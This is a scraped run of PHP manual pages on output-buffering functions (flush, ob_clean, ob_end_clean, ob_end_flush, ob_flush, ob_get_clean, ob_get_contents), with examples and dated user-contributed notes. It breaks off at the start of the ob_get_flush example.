I would like to point out that there is a function to replace ob_flush and flush. If you set ob_implicit_flush(true); at the top of the page it will automatically flush any echo or print you do in the rest of the script.

Note that you still need a minimum amount of data to come through the browser filter. I would advice using str_pad($text,4096); since this automatically lenghtens the text with spaces to 4 KB which is the minimum limit when using FireFox and linux.

I hope this helps you all out a bit.
matt at nospamplease dot hevanet dot com 21-Mar-2005 07:42
Like IE, Safari needs a fair amount of data before it'll display anything, actually more than explorer.  The following code works for me in Firefox and Safari, and should work in IE as well.

<?php

for($i = 0; $i < 40000; $i++)
{
echo ' '; // extra spaces
}
// keeps it flowing to the browser�
flush();
// 50000 microseconds keeps things flowing in safari, IE, firefox, etc
usleep(50000);

?>

This code came from a comment on a blog discussing browser functionality with flush();
crmacd at yahoo dot com 05-Mar-2005 12:28
I figured out a way to create a simple progress bar that is for the most part cross platform. Seeing as I got my ideas from this site it's only share to give back to the community.

Note: Something interesting about browser buffering... you have to have the <html><body> for Firefox and some other browsers to recognize items by their id in Javascript. So I recommend using some sort of header function before calling this function.

<?php

function fn_progress_bar($intCurrentCount = 100, $intTotalCount = 100)
{
    static $intNumberRuns = 0;
    static $intDisplayedCurrentPercent = 0;
    $strProgressBar = '';
    $dblPercentIncrease = (100 / $intTotalCount);
    $intCurrentPercent = intval($intCurrentCount * $dblPercentIncrease);
    $intNumberRuns++;

    if(1 == $intNumberRuns)
    {
        $strProgressBar = <<< BAR
<table width='50%' id='progress_bar' summary='progress_bar' align='center'><tbody><tr>
<td id='progress_bar_complete' width='0%' align='center' style='background:#CCFFCC;'>&nbsp;</td>
<td style='background:#FFCCCC;'>&nbsp;</td>
</tr></tbody></table>
<script type='text/javascript' language='javascript'>
function dhd_fn_progress_bar_update(intCurrentPercent)
{
    document.getElementById('progress_bar_complete').style.width = intCurrentPercent+'%';
    document.getElementById('progress_bar_complete').innerHTML = intCurrentPercent+'%';
}
</script>
BAR;
    }
    else if($intDisplayedCurrentPercent <> $intCurrentPercent)
    {
        $intDisplayedCurrentPercent = $intCurrentPercent;
        $strProgressBar = <<< BAR
<script type='text/javascript' language='javascript'>
dhd_fn_progress_bar_update($intCurrentPercent);
</script>
BAR;
    }
    if(100 <= $intCurrentPercent)
    {
        $intNumberRuns = $intDisplayedCurrentPercent = 0;
        $strProgressBar = <<< BAR
<script type='text/javascript' language='javascript'>
document.getElementById('progress_bar').style.visibility='hidden';
</script>
BAR;
    }
    echo $strProgressBar;
    flush();
    ob_flush();
}

?>
siggi AT june systems DOT com 04-Mar-2005 04:54
After searching through the PHP site, google and various forums, not finding a solution to my script not outputting anything while calling flush and ob_flush, I thought of trying to tell PHP to call:

session_write_close();

before starting echo'ing. It worked like a charm. I couldn't find any references to this, so I hope this note will help someone in the future.
Squ1sher 01-Feb-2005 09:25
On Windows xampp 1.3 with php 4.3.4 is use this functions
to force a flush.
<?php
function dummyErrorHandler ($errno, $errstr, $errfile, $errline) {
}

function forceFlush() {
    ob_start();
    ob_end_clean();
    flush();
    set_error_handler("dummyErrorHandler");
    ob_end_flush();
    restore_error_handler();
}
?>

ob_end_flush generates a warning, which is supressed, using the dummy-errorhander. You could also use @, but then nusphere will also print the warning.
Rusty 24-Feb-2004 06:25
Netscape will flush the output as expected at the point it is called from within your script. IE, however, needs a boost.

IE seems to have a condition where it will flush data when it hits an end (</table>) tag AND has at least 256 chars of data.

So, pad your output with necessary spaces, wrap your progressing data around open (<table>) and end (</table>) tags, and then call flush() so that one script will work for Netscape as well.

TESTING ENVIRONMENT
IE: Ver/6.0.2800
Netscape: Ver/7.1
PHP: Ver/4.3.4
Apache: Ver/1.3.27
m@rco 29-Oct-2003 04:22
in order to display in HTML pages something like a "progress bar" or if you want to force the web server to flush output to the browser, or the browser to flush as well, you can print a long enough "dummy" string to make the output buffer grow, as you probably know, like:

<?php
print "[";

for($i = 0; $i < 100; $i++){
  $spaces.=" ";
} // for

//and then

for($i = 0; $i < 10; $i++){
  for($ii = 0; $ii < 200000; $ii++){
    //do something slow here
  } // for
  print "$spaces|";
  flush();
} // for

print "]";

/*
but this somethin may be not really what you expect in
a progress bar, as it prints spaces (although rendered as single by the browser) between the bar units..
you can solve this using
  $spaces.="<!-- bufferme -->";

/*

print "[";

for($i = 0; $i < 100; $i++){
  $spaces.="<!-- bufferme -->";
} // for

//and then

for($i = 0; $i < 10; $i++){
  for($ii = 0; $ii < 200000; $ii++){
    //do something slow here
  } // for
  print "$spaces|";
  flush();
} // for

print "]";

//which looks nice as a progress bar..
?>
scottmacvicar at ntlworld dot com 01-Oct-2003 04:40
Regarding Apache2
flush() will produce the same results as ob_flush() when output buffering is involved.


Clean (erase) the output buffer

  • « flush
  • ob_end_clean »
  • PHP Manual
  • Output Control Functions
  • Clean (erase) the output buffer

ob_clean

(PHP 4 >= 4.2.0, PHP 5)

ob_clean — Clean (erase) the output buffer

Description

void ob_clean ( void )

This function discards the contents of the output buffer.

This function does not destroy the output buffer like ob_end_clean() does.

The output buffer must be started by ob_start() with PHP_OUTPUT_HANDLER_CLEANABLE flag. Otherwise ob_clean() will not work.

Return Values

No value is returned.

See Also

  • ob_flush() - Flush (send) the output buffer
  • ob_end_flush() - Flush (send) the output buffer and turn off output buffering
  • ob_end_clean() - Clean (erase) the output buffer and turn off output buffering

User Contributed Notes

alexander at mralexander dot ca 08-May-2014 12:40
In case there is nothing output yet to the buffer and then implementing the ob_clean() a (soft) error notice would be generated such as the following:

Notice: ob_clean() [ref.outcontrol]: failed to delete buffer. No buffer to delete. in [file-path]

you could do a simple check with "ob_get_contents()" to make sure that there is anything in the buffer.
user 13-Jan-2014 12:27
This works like magic!
I was meddling with this for hours!
Thank you.
meustrus 13-Dec-2013 05:59
@cornel: It's easy enough to say "Don't do that" when you think you've got the person right in front of you. But one doesn't always have the original coder, or even one of a dozen of the original coders. Are you really suggesting that it would be wrong to use this function as a band-aid when the alternative may be looking through hundreds of source files you didn't write for errors you didn't introduce?

To your point, though, it is (or should be) a commonly accepted best practice to not put closing PHP tags at the end of files. When, however, enforcing that would take a time machine, it's appropriate to use ob_clean() as a band-aid to make dynamically generated images work as expected.
cornel at scoalaweb dot com 21-Dec-2012 08:02
Don't use ob_clean() to clear white-space or other unwanted content "accidentally" generated by included files.
Included files should not generate unwanted content in the first place.
If they do, You are doing something wrong, like inserting white-space after "?>" (there should not be a "?>" at the end of PHP files: http://php.net/manual/en/language.basic-syntax.phptags.php ).
lev at taintedthoughts dot com 12-Jun-2007 11:23
I find this function incredibly useful when manipulating or creating images in php (with GD).

I spent quite a while searching through a large number of included files to find where I had a undesired space after php's ending tag - as this was causing all my images on the fly to break due to output already being set. Even more annoying was that this was not caught not php's error reporting so there was no reference to the problem line(s) in my log file. I don't know why error reporting wouldn't catch this since it was set to accept warnings, and the same thing had been caught in the past.

Nevertheless, I never did find the line(s) that were adding extra spaces or new lines before my images were being generated, but what I did instead was add this handy function right before my image manipulation code and right after the include/require code.

For example:

<?php

// require some external library files
require ("lib/somelibrary.php");
require ("lib/class/someclass.php");

// clean the output buffer
ob_clean();

// simple test image
header("Content-type: image/gif");
$im = imagecreate (100, 50);
imagegif($im);
imagedestroy($im);

?>

While this may seem trivial a trivial use of the function, it in fact is incredibly useful for insuring no extra spaces or new lines have already been output while making images in php. As many of you probably already know, extra lines, spacing and padding that appears prior to image-code will prevent the image from being created. If the file "lib/somelibrary.php" had so much as an extra new line after the closing php tag then it would completely prevent the image from working in the above script.

If you work on an extremely large project with a lot of source and required files, like myself, you will be well-advised to always clear the output buffer prior to creating an image in php.


Clean (erase) the output buffer and turn off output buffering

  • « ob_clean
  • ob_end_flush »
  • PHP Manual
  • Output Control Functions
  • Clean (erase) the output buffer and turn off output buffering

ob_end_clean

(PHP 4, PHP 5)

ob_end_clean — Clean (erase) the output buffer and turn off output buffering

Description

bool ob_end_clean ( void )

This function discards the contents of the topmost output buffer and turns off this output buffering. If you want to further process the buffer's contents you have to call ob_get_contents() before ob_end_clean() as the buffer contents are discarded when ob_end_clean() is called.

The output buffer must be started by ob_start() with PHP_OUTPUT_HANDLER_CLEANABLE and PHP_OUTPUT_HANDLER_REMOVABLE flags. Otherwise ob_end_clean() will not work.

Return Values

Returns TRUE on success or FALSE on failure. Reasons for failure are first that you called the function without an active buffer or that for some reason a buffer could not be deleted (possible for special buffer).

Errors/Exceptions

If the function fails it generates an E_NOTICE.

Examples

The following example shows an easy way to get rid of all output buffers:

Example #1 ob_end_clean() example

<?php
ob_start();
echo 'Text that won\'t get displayed.';
ob_end_clean();
?>

See Also

  • ob_start() - Turn on output buffering
  • ob_get_contents() - Return the contents of the output buffer
  • ob_flush() - Flush (send) the output buffer

User Contributed Notes

Sam Yong - hellclanner at live dot com 05-May-2011 07:14
Take note that if you change zlib output compression setting in between ob_start and ob_end_clean or ob_end_flush, you will get an error: ob_end_flush() failed to delete buffer zlib output compression

Example:

<?php

ob_start();

$output = ob_get_contents();

ini_set('zlib.output_compression', '1');

ob_end_clean();

?>

ob_end_clean(); in this example will throw the error.
netom at elte dot hu 21-Jan-2010 01:02
Notice that ob_end_clean() does discard headers.

If you would like to clear the output buffer, but not the headers (because you use firephp for example...), than this is the solution:

<?php
   ...

    $headers = array();
    if ( !headers_sent() ) {
      $headers = apache_response_headers();
    }

    ob_end_clean();
    ob_start();

    if ( !empty( $headers ) ) {
      foreach ( $headers as $name => $value ) {
        header( "$name: $value" );
      }
    }

   ...
?>

I use it in a general exception handler in a web application, where I clear the buffer (but not the debug-info-containing headers), and send a 500 error page with readfile().

Good PHPing,

Tamas.
tyler @ 11-Aug-2008 01:39
In reference to <geoff at spacevs dot com> where he states, "If you call ob_end_clean in a function registered with 'register_shutdown_function', it is too late, any buffers will have already been sent out to the client.", here is a workaround I came up with.

<?php

function ClearBuffer($Buffer) {
    return "";
}

function Shutdown() {
    ob_start("ClearBuffer");
}

register_shutdown_function("Shutdown");

?>

This will wipe out all the contents of the output buffer as it comes in. Basically its the same as "STDOUT > /dev/null".
geoff at spacevs dot com 23-Jul-2007 02:47
If you call ob_end_clean in a function registered with "register_shutdown_function", it is too late, any buffers will have already been sent out to the client.
everling 11-Nov-2006 11:04
Keep in mind that mrfritz379's example (#49800) is just an example. You can achieve that example's result in a more efficient manner without using output buffering functions:

echo "<p>Search running. Please be patient. . .";
$output = "<p>FileList: </p>\n";
if (is_dir($dir)) {
  $dh = opendir($dir);

  while (($fd = readdir($dh)) != false) {
    echo " .";
    $output .= $fd;
  }
}
echo "</br>Search Complete!</p>\n";
echo $output;

In addition to John Smith's comment (#42939), ob_gzhandler() may still set the HTTP header "Content-Encoding" to "gzip" or "deflate" even if you call ob_end_clean(). This will cause a problem in the following situation:

1. Call ob_gzhandler().
2. Echo "Some content";
3. Call ob_end_clean().
4. Echo "New content";

In the above case, the browser may receive the "Content-Encoding: gzip" HTTP header and attempts to decompress the uncompressed "New content". The browser will fail.

In the following situation, this behaviour will go unnoticed:

1. Call ob_gzhandler().
2. Echo "Some content";
3. Call ob_end_clean().
4. Call ob_gzhandler().
5. Echo "New content";

This is because the second ob_gzhandler() will mask the absence of the first ob_gzhandler().

A solution would be to write a wrapper, like John Smith did, for the ob_gzhandler().
Adam of Fusion Bay 18-May-2006 09:38
You may want to be careful about calling ob_end_clean() from within your call-back function. I believe this can produce an endless-loop within PHP.
mrfritz379 09-Feb-2005 03:14
This may be posted elsewhere, but I haven't seen it.
To run a progress indicator while the program is running without outputting the output buffer, the following will work:

echo "<p>Search running. Please be patient. . .";
$output = "<p>FileList: </p>\n";
if (is_dir($dir)) {
   $dh = opendir($dir);

   while (($fd = readdir($dh)) != false) {
      echo " .";
      ob_start();
      echo $fd;
      $output .= ob_get_contents();
      ob_end_clean();
    }
}
echo "</br>Search Complete!</p>\n";
echo $output;

The program will continue to print the " ." without printing the file list. Then the "Search Complete" message will print followed by the buffered file list.
John Smith 04-Jun-2004 01:39
Note that if you started called ob_start with a callback, that callback will still be called even if you discard the OB with ob_end_clean.

Because there is no way of removing the callback from the OB once you've set it, the only way to stop the callback function from having any effect is to do something like:

<?php
$ignore_callback = false;
ob_start('my_callback');
...
if($need_to_abort) {
   $ignore_callback = true;
   ob_end_clean();
   ...
}

function my_callback(&$buffer) {
  if($GLOBALS['ignore_callback']) {
     return "";
  }
  ...
}
?>
daijoubuNOSP at Mvideotron dot com 22-Feb-2004 10:11
About the previous comment:
You can also relay on ETag and simply use time()

<?php
$time = time();
$mins = 1;
if (isset($_SERVER['HTTP_IF_NONE_MATCH']) and str_replace('"', '', $_SERVER['HTTP_IF_NONE_MATCH'])+($mins*60) > $time)
{
    header('HTTP/1.1 304 Not Modified');
    exit();
}
else
{
    header('ETag: "'.$time.'"');
}
echo 'Caching for ', $mins*60, 'secs<br/>', date('G:i:s');
?>
programmer at bardware dot de 27-Jun-2003 03:32
You might want to prevent your script from executing if the client already has the latest version.
You can do it like so:

ob_start();

$mtime=filemtime($_SERVER["SCRIPT_FILENAME"])-date("Z");
$gmt_mtime = date('D, d M Y H:i:s', $mtime) . ' GMT';

$headers = getallheaders();

if(isset($headers["If-Modified-Since"])) {
    if ($headers["If-Modified-Since"] == $gmt_mtime) {
        header("HTTP/1.1 304 Not Modified");
        ob_end_clean();
        exit;
    }
}

$size=ob_get_length();
header("Last-Modified: ".$gmt_mtime);
header("Content-Length: $size");
ob_end_flush();

Instead of checking the If-Modified-Since-Header against the date of the last modification of the script, you can of course query a database or take any other date that is somehow related to the modification of the result of your script.

You can for instance use this technique to generate images dynamically. If the user indicates he already has a version of the image by the If-Modified-Since-Header, there's no need to generate it and let the server finally discard it because the server only then interpretes the If-Modified-Since-Header.
This saves server load and shortens response-times.


Flush (send) the output buffer and turn off output buffering

  • « ob_end_clean
  • ob_flush »
  • PHP Manual
  • Output Control Functions
  • Flush (send) the output buffer and turn off output buffering

ob_end_flush

(PHP 4, PHP 5)

ob_end_flush — Flush (send) the output buffer and turn off output buffering

Description

bool ob_end_flush ( void )

This function will send the contents of the topmost output buffer (if any) and turn this output buffer off. If you want to further process the buffer's contents you have to call ob_get_contents() before ob_end_flush() as the buffer contents are discarded after ob_end_flush() is called.

The output buffer must be started by ob_start() with PHP_OUTPUT_HANDLER_FLUSHABLE and PHP_OUTPUT_HANDLER_REMOVABLE flags. Otherwise ob_end_flush() will not work.

Note: This function is similar to ob_get_flush(), except that ob_get_flush() returns the buffer as a string.

Return Values

Returns TRUE on success or FALSE on failure. Reasons for failure are first that you called the function without an active buffer or that for some reason a buffer could not be deleted (possible for special buffer).

Errors/Exceptions

If the function fails it generates an E_NOTICE.

Examples

Example #1 ob_end_flush() example

The following example shows an easy way to flush and end all output buffers:

<?php
  while (@ob_end_flush());
?>

See Also

  • ob_start() - Turn on output buffering
  • ob_get_contents() - Return the contents of the output buffer
  • ob_get_flush() - Flush the output buffer, return it as a string and turn off output buffering
  • ob_flush() - Flush (send) the output buffer
  • ob_end_clean() - Clean (erase) the output buffer and turn off output buffering

User Contributed Notes

nico (at) nokes.de 27-Aug-2012 01:24
best way to compress a css code:

<?php
  header('Content-type: text/css');

  ob_start("compress");
  function compress($buffer) {
    // remove comments
    $buffer = preg_replace('!/\*[^*]*\*+([^/][^*]*\*+)*/!', '', $buffer);
    // remove tabs, spaces, newlines, etc.
    $buffer = str_replace(array("\r\n", "\r", "\n", "\t", '  ', '    ', '    '), '', $buffer);
    return $buffer;
  }

  include('./template/main.css');
  include('./template/classes.css');

<?php
  ob_end_flush();
?>

Include in <head>:
<link rel="stylesheet" type="text/css" href="/design.php" media="all" />
anatoliy at miraline dot com 11-Apr-2011 06:06
If you enable zlib.output_compression then level count will be increased by 1 and then this code:

<?php while (ob_get_level()) { ob_end_clean(); } ?>

will just freeze your script.
Mark 24-Jun-2010 10:49
Wanted to speed things up and put some processing after the page has been delivered to the client. That drove me almost insane, but finally, I found a solution (php 5.2.5):

<?php
ob_start(); // outer buffer
ob_start(); // inner buffer to catch URL rewrites and other post processing
session_start(); // registers URL rewriter with inner buffer!
echo '...';
// log performance data to log files *after* delivering the page!
register_shutdown_function(array($benchmarkclass,'log_perf_data'));
// now flush output output to client
ob_end_flush();
// need to calculate content length *after* URL rewrite!
header("Content-length: ".ob_get_length());
ob_end_flush();
// now we close the session and do some arbitrary clean-up tasks
// registered using register_shutdown_function()
session_write_close();
?>
unxed 06-Mar-2010 03:50
Remember that chromium browser (and maybe other webkit-based browsers) have some issues with ob_end_flush.

http://code.google.com/p/chromium/issues/detail?id=31410

You may use
header("Content-Type: text/plain");
to solve those issues if you do not need html.
shanep 22-Jan-2010 06:31
It appears that ob_end_flush() is very important if you are looping.  For instance if you are using a mass mailer that uses the output buffer for creating HTML content.  Use ob_end_flush() to avoid server errors.
skippy at zuavra dot net 01-Jul-2005 11:10
Apart from being mostly redundant, ob_end_flush() can be downright damaging in some weird cases.

Actual example: a particular page on an Intranet website which would appear blank on Internet Explorer 6 when ob_start('ob_gzhandler') was called in the beginning and ob_end_flush() at the end.

We couldn't figure out what made that page special no matter what we tried. The ob_ functions were placed in scripts which were include()'d by all pages just the same, but only that page did this.

Even stranger, the problem only appeared on direct browser/server connections. Whenever the connection passed through a proxy the problem dissapeared. I'm guessing some kind of HTTP encoding headers mumbo-jumbo.

Solution: unless you really need it in particular cases, remove the ob_end_flush() call and rely on the builtin, automatic buffer flush.
jhannus at 128kb dot com 05-Jun-2004 06:18
A note on the above example...

with PHP 4 >= 4.2.0, PHP 5 you can use a combination of ob_get_level() and ob_end_flush() to avoid using the @ (error suppresion) which should probably be a little faaster.

<?php

while (ob_get_level() > 0) {
    ob_end_flush();
}

?>
kriek at jonkriek dot com 29-Mar-2003 06:22
ob_end_flush() isn't needed in MOST cases because it is called automatically at the end of script execution by PHP itself when output buffering is turned on either in the php.ini or by calling ob_start().
brett at realestate-school dot com 26-Sep-2002 10:01
It appears that you can call ob_end_flush() regardless of whether or not output buffering was ever started using ob_start(). This can prove useful because it saves you from having to create conditional statements based on whether a particular function or include file has started output buffering. You can simply call the ob_end_flush() anyway and if there's output in the buffer, it will be sent, otherwise your script will just keep on keepin' on.


Flush (send) the output buffer

  • « ob_end_flush
  • ob_get_clean »
  • PHP Manual
  • Output Control Functions
  • Flush (send) the output buffer

ob_flush

(PHP 4 >= 4.2.0, PHP 5)

ob_flush — Flush (send) the output buffer

Description

void ob_flush ( void )

This function will send the contents of the output buffer (if any). If you want to further process the buffer's contents you have to call ob_get_contents() before ob_flush() as the buffer contents are discarded after ob_flush() is called.

This function does not destroy the output buffer like ob_end_flush() does.

Return Values

No value is returned.

See Also

  • ob_get_contents() - Return the contents of the output buffer
  • ob_clean() - Clean (erase) the output buffer
  • ob_end_flush() - Flush (send) the output buffer and turn off output buffering
  • ob_end_clean() - Clean (erase) the output buffer and turn off output buffering

User Contributed Notes

cesoid at gmail dot com 09-Mar-2013 05:30
Currently I have Chrome on OS X Snow Leopard updating a page as it is sent more data, BUT it only does this after I send it <body> along with 1013 more characters (making 1019 total characters). After it receives this it immediately displays it and then displays anything else as it is received. (Note that this browser-operating system combination isn't necessarily the only one, it's just the only one I've tested.)

In order to do this using php, I've done nothing but send ob_flush() after each echo or print. I can also make it happen without ob_flush() by calling ob_implicit_flush(), then ob_end_flush() before print, and then it updates with each print after that. I have pretty typical settings and I change none of them when the file runs, it literally looks like this:

<?php
  ob_implicit_flush();
  ob_end_flush();
  ?><body>[1013 more characters]<?php
  for ($i = 1; $i < 30000000; ++$i) {}
  echo "something that didn't show up immediately";
?>

(Ok, the "[1013 more characters]" part wasn't strictly literal.)

If you want just text in the browser, you do this before everything else:

<?php
header("Content-type: text/plain");
...
?>

Then it won't care whether you sent a body tag, it will just wait for 1019 characters.
Lee 11-Aug-2012 08:23
As of August 2012, all browsers seem to show an all-or-nothing approach to buffering. In other words, while php is operating, no content can be shown.

In particular this means that the following workarounds listed further down here are ineffective:

1) ob_flush (),  flush () in any combination with other output buffering functions;

2) changes to php.ini involving setting output_buffer and/or zlib.output_compression to 0 or Off;

3) setting Apache variables such as "no-gzip" either through apache_setenv () or through entries in .htaccess.

So, until browsers begin to show buffered content again, the tips listed here are moot.
dermeister dot online at gmail dot com 05-Jul-2012 10:43
some problems with ob_flush() and flush() could be resolved by defining content type header :
header( 'Content-type: text/html; charset=utf-8' );

so working code looks like this:
<?php
header( 'Content-type: text/html; charset=utf-8' );
echo 'Begin ...<br />';
for( $i = 0 ; $i < 10 ; $i++ )
{
    echo $i . '<br />';
    flush();
    ob_flush();
    sleep(1);
}
echo 'End ...<br />';
?>
riimeik 17-Oct-2010 10:44
If you're still not getting the buffer work correctly then try to clean all the others before starting your own (and even if PHP tells you that there are no buffers active):

while(@ob_end_clean());
sebastian at jcompare dot com 27-Apr-2009 04:05
For some reason, calling just flush or ob_flush or even both together did not get my output buffers flushed, and calling ob_end_flush by itself didn't work either but calling them all worked well. Here is my new output flushing function.

<?php
function flush_buffers(){
    ob_end_flush();
    ob_flush();
    flush();
    ob_start();
}
?>

Enjoy
Jens 30-Oct-2008 04:01
If you call ob_flush() and flush() and still dont get the buffer flushed it might be because some antivirus software (Panda in this case) holds the buffer until the page has finished loaded before sending it to the browser.
colnector at@ colnect punto com 08-Jul-2008 01:35
As stated in flush() manual entry, if php compresses the ouput with zlib this function may be ineffective.

A possible option for folders on your server that have scripts which may take a long time to run is to add the following in your relevant .htaccess file:

<FilesMatch "\.(php|html?)$">
php_flag zlib.output_compression off
php_value max_execution_time 3000
php_value max_input_time 3000
</FilesMatch>
kel at no-spam dot newcastleinfotech dot com dot au 06-Jun-2008 06:33
Also note that any data in the buffer will flush at the end of the script, not destroyed, so it is often not necessary to call ob_flush(); for example:

<?php
ob_start();
echo 'Hello World!'
?>

Will still result in Hello World! being displayed to the browser.
22-Sep-2005 03:37
I was having problems with output buffering which seemed to be active by default on the server, although phpinfo said something else..

In any case I needed to know that when I ran ob_start, it would start at the top level, so I could use ob_flush as it's intended without having to call multiple ob_flush in-script - this is what I did:

<?php

// make sure output buffering is off before we start it
// this will ensure same effect whether or not ob is enabled already
while (ob_get_level()) {
    ob_end_flush();
}
// start output buffering
if (ob_get_length() === false) {
    ob_start();
}

?>

Then I could call ob_flush(); followed by flush(); and get the output I wanted, which I didn't if I started the script with just ob_start();

This was on a windows apache 2 server with php 5.0.4 btw.
24-Jun-2005 03:27
You must call them in the correct order.
ob_flush();
flush();
Reynard Hilman 22-Jun-2005 11:29
when using command line php, if somewhere in your script you have ob_start(), you have to call ob_end_flush() first, and then you can call these functions:
flush();
ob_flush();

without calling ob_end_flush first, flush and ob_flush does not have any effect, at least that's what I experienced.
jeremy at e2-media dot co dot nz 26-May-2005 01:09
we had problems with flushing data to the browser. a simple call to ob_flush() or flush() would not work. We found that repeatly calling theses fuctions did work however.

<?
flush();
ob_flush();
flush();
ob_flush();
flush();
ob_flush();
?>

go figure!


Get current buffer contents and delete current output buffer

  • « ob_flush
  • ob_get_contents »
  • PHP Manual
  • Output Control Functions
  • Get current buffer contents and delete current output buffer

ob_get_clean

(PHP 4 >= 4.3.0, PHP 5)

ob_get_clean — Get current buffer contents and delete current output buffer

Description

string ob_get_clean ( void )

Gets the current buffer contents and delete current output buffer.

ob_get_clean() essentially executes both
ob_get_contents() and
ob_end_clean().

The output buffer must be started by ob_start() with PHP_OUTPUT_HANDLER_CLEANABLE flag. Otherwise ob_get_clean() will not work.

Return Values

Returns the contents of the output buffer and end output buffering. If output buffering isn't active then FALSE is returned.

Examples

Example #1 A simple ob_get_clean() example

<?php

ob_start();

echo "Hello World";

$out = ob_get_clean();
$out = strtolower($out);

var_dump($out);
?>

The above example will output:

string(11) "hello world"

See Also

  • ob_get_contents() - Return the contents of the output buffer
  • ob_start() - Turn on output buffering

User Contributed Notes

geo dot artemenko at gmail dot com 13-Mar-2014 07:04
The definition should mention that the function also "turns off output buffering", not just cleans it.
paul+phpnet at earth2me dot com 08-Oct-2013 09:08
Keep in mind that output may be buffered by default, depending on how you are running PHP (CGI, CLI, etc.).   You can use ob_get_level() to determine if an output buffer has already been started.  On most web servers I've used, output buffering is already one level deep before my scripts start running.

You should only end as many output buffers as you start.  Assuming that your buffer is always the first buffer, or otherwise closing pre-existing buffers, could lead to problems.  In PHP 5.5, you can ensure that output buffers are ended properly using a try-finally block.

Something like this is almost guaranteed to break stuff:

<?php
// Don't ever do this!
while (ob_get_level() > 1)
{
    ob_end_flush();
}

$content = ob_get_clean();
?>

The problem is that number, "1".  Using a fixed number there is asking for trouble.  Instead, use ob_get_level() to get the number of output buffers applied when your code starts, and return to that number, if you really must use an unknown number of output buffers:

<?php
ob_start();
$saved_ob_level = ob_get_level();

// Do stuff here:
run_something();

// If you really must close all of your output buffers except one, this'll do it:
while (ob_get_level() > $start_ob_level)
{
    ob_end_flush();
}

// And now, the final output buffer that belongs to us:
$content = ob_get_clean();
?>
sergei dot solomonov at gmail dot com 26-Aug-2012 01:20
<?php
ob_start();
echo "1";
$content = ob_get_clean();

echo "2";
$content .= ob_get_clean();

echo $content;
?>

This script outputs 21 in CLI mode and 12 otherwise (under my apache and nginx)
steven at bielik dot com 22-Feb-2011 08:57
Also, don't forget that you will need to ob_start() again for any successive calls:

<?php
ob_start();
echo "1";
$content = ob_get_clean();

ob_start(); // This is NECESSARY for the next ob_get_clean() to work as intended.
echo "2";
$content .= ob_get_clean();

echo $content;
?>

Output: 12

Without the second ob_start(), the output is 21 ...
ludvig dot ericson at gmail dot com 10-Aug-2005 04:10
Notice that the function beneath does not catch errors, so throw in an @ before those ob_* calls
webmaster at ragnarokonline dot de 02-Oct-2003 02:21
Running PHP4 < 4.3.0, you can simply add the following to use the function anyway:

<?php
if (!function_exists("ob_get_clean")) {
    function ob_get_clean() {
        $ob_contents = ob_get_contents();
        ob_end_clean();
        return $ob_contents;
    }
}
?>


Return the contents of the output buffer

  • « ob_get_clean
  • ob_get_flush »
  • PHP Manual
  • Output Control Functions
  • Return the contents of the output buffer

ob_get_contents

(PHP 4, PHP 5)

ob_get_contents — Return the contents of the output buffer

Description

string ob_get_contents ( void )

Gets the contents of the output buffer without clearing it.

Return Values

This will return the contents of the output buffer or FALSE, if output buffering isn't active.

Examples

Example #1 A simple ob_get_contents() example

<?php

ob_start();

echo "Hello ";

$out1 = ob_get_contents();

echo "World";

$out2 = ob_get_contents();

ob_end_clean();

var_dump($out1, $out2);
?>

The above example will output:

string(6) "Hello "
string(11) "Hello World"

See Also

  • ob_start() - Turn on output buffering
  • ob_get_length() - Return the length of the output buffer

User Contributed Notes

Mark Clements 03-Oct-2014 05:38
Note that, unlike PHP variables which make efficient use of memory, getting the contents of the output buffer results in a new copy of the buffer being made.  This can end up massively increasing the memory requirements of your script if your output is large.

Example code:

<?php

print(memory_get_usage() . "<br>");

ob_start();

for ($i = 0; $i < 5000000; $i++)
    print(" ");

print(memory_get_usage() . "<br>");

$foo = ob_get_contents();

print(memory_get_usage() . "<br>");

ob_end_flush();

?>

Output:

  351664
 5359152
10359256
ipfound at gmail dot com 01-Oct-2014 04:13
The ob_get_contents() function has different return behaivor in PHP 5.3.x and PHP 5.5.x. Take a look at very simple example for PHP 5.3

<?php
var_dump(ob_get_contents());
?>
Output: bool(false)

but in PHP 5.5.x, the same php code will return:
Output: string (0) ""

Actually, we can use type regulation - intval(ob_get_contents()), for cheking On/Off output buffering, but it lays the possible problems in the future.
DrDreistein at dontknow dot at 05-Oct-2011 01:07
i made a simple test which is faster: adding some text in the normal way or by the ob stack:

<?php
$start = microtime(true);
$var = '';
for($i=0 ; $i <= 1000000 ; $i++) {
    $var .= ' ';
}
$middle = microtime(true);

ob_start();
for($i=0 ; $i <= 1000000 ; $i++) {
    echo ' ';
}
$var = ob_get_contents();
ob_end_clean();

$end = microtime(true);

echo $middle - $start;
echo '<br />';
echo $end - $middle;
?>

Outputs something like this:

0.33658003807068
0.30778789520264
mauroasprea+php at gmail dot com 30-Dec-2010 05:10
This is an example of how the stack works:

<?php
//Level 0
ob_start();
echo "Hello ";

//Level 1
ob_start();
echo "Hello World";
$out2 = ob_get_contents();
ob_end_clean();

//Back to level 0
echo "Galaxy";
$out1 = ob_get_contents();
ob_end_clean();

//Just output
var_dump($out1, $out2);
?>
m227 ( at ) poczta dot onet dot pl 24-Feb-2005 03:53
if you use ob_start with a callback function as a parameter, and that function changes ob string (as in example in manual) don't expect that ob_get_contents will return changed ob.
it will work as you would use ob_start with no parameter at all. So don't be confused.
http://www.francescosaf.altervista.org 08-Feb-2005 11:04
transfer image, another method (alternative to fsockopen or function socket) :

server(192.168.0.1)
makeimage.php
       ...........
       ...........
       $nameimage="xxxx.jpg"
       $comand=exec("plotvelocity.sh $nameimage $paramater1 $paramater2");
       ob_start();
        readfile($nameimage);
        $image_data = ob_get_contents();
        ob_end_clean();
        echo $image_data;
        unlink($nameimage);

Client  (192.168.0.2)
  $bild="images/newimage2.gif";
  $host="192.168.0.1";
  $url=file_get_contents("http://$host/makeimage.php?$querystring");
  $fp = fopen("$bild", 'wb');
  fwrite($fp, $url);
  fclose($fp);
  echo '<img src="'.$bild.'">';

naturally you can transfer whichever thing and not only images


Flush the output buffer, return it as a string and turn off output buffering

  • « ob_get_contents
  • ob_get_length »
  • PHP Manual
  • Output Control Functions
  • Flush the output buffer, return it as a string and turn off output buffering

ob_get_flush

(PHP 4 >= 4.3.0, PHP 5)

ob_get_flush — Flush the output buffer, return it as a string and turn off output buffering

Description

string ob_get_flush ( void )

ob_get_flush() flushes the output buffer, return it as a string and turns off output buffering.

The output buffer must be started by ob_start() with PHP_OUTPUT_HANDLER_FLUSHABLE flag. Otherwise ob_get_flush() will not work.

Note: This function is similar to ob_end_flush(), except that this function returns the buffer as a string.

Return Values

Returns the output buffer or FALSE if no buffering is active.

Examples

Example #1 ob_get_flush() example

<?php
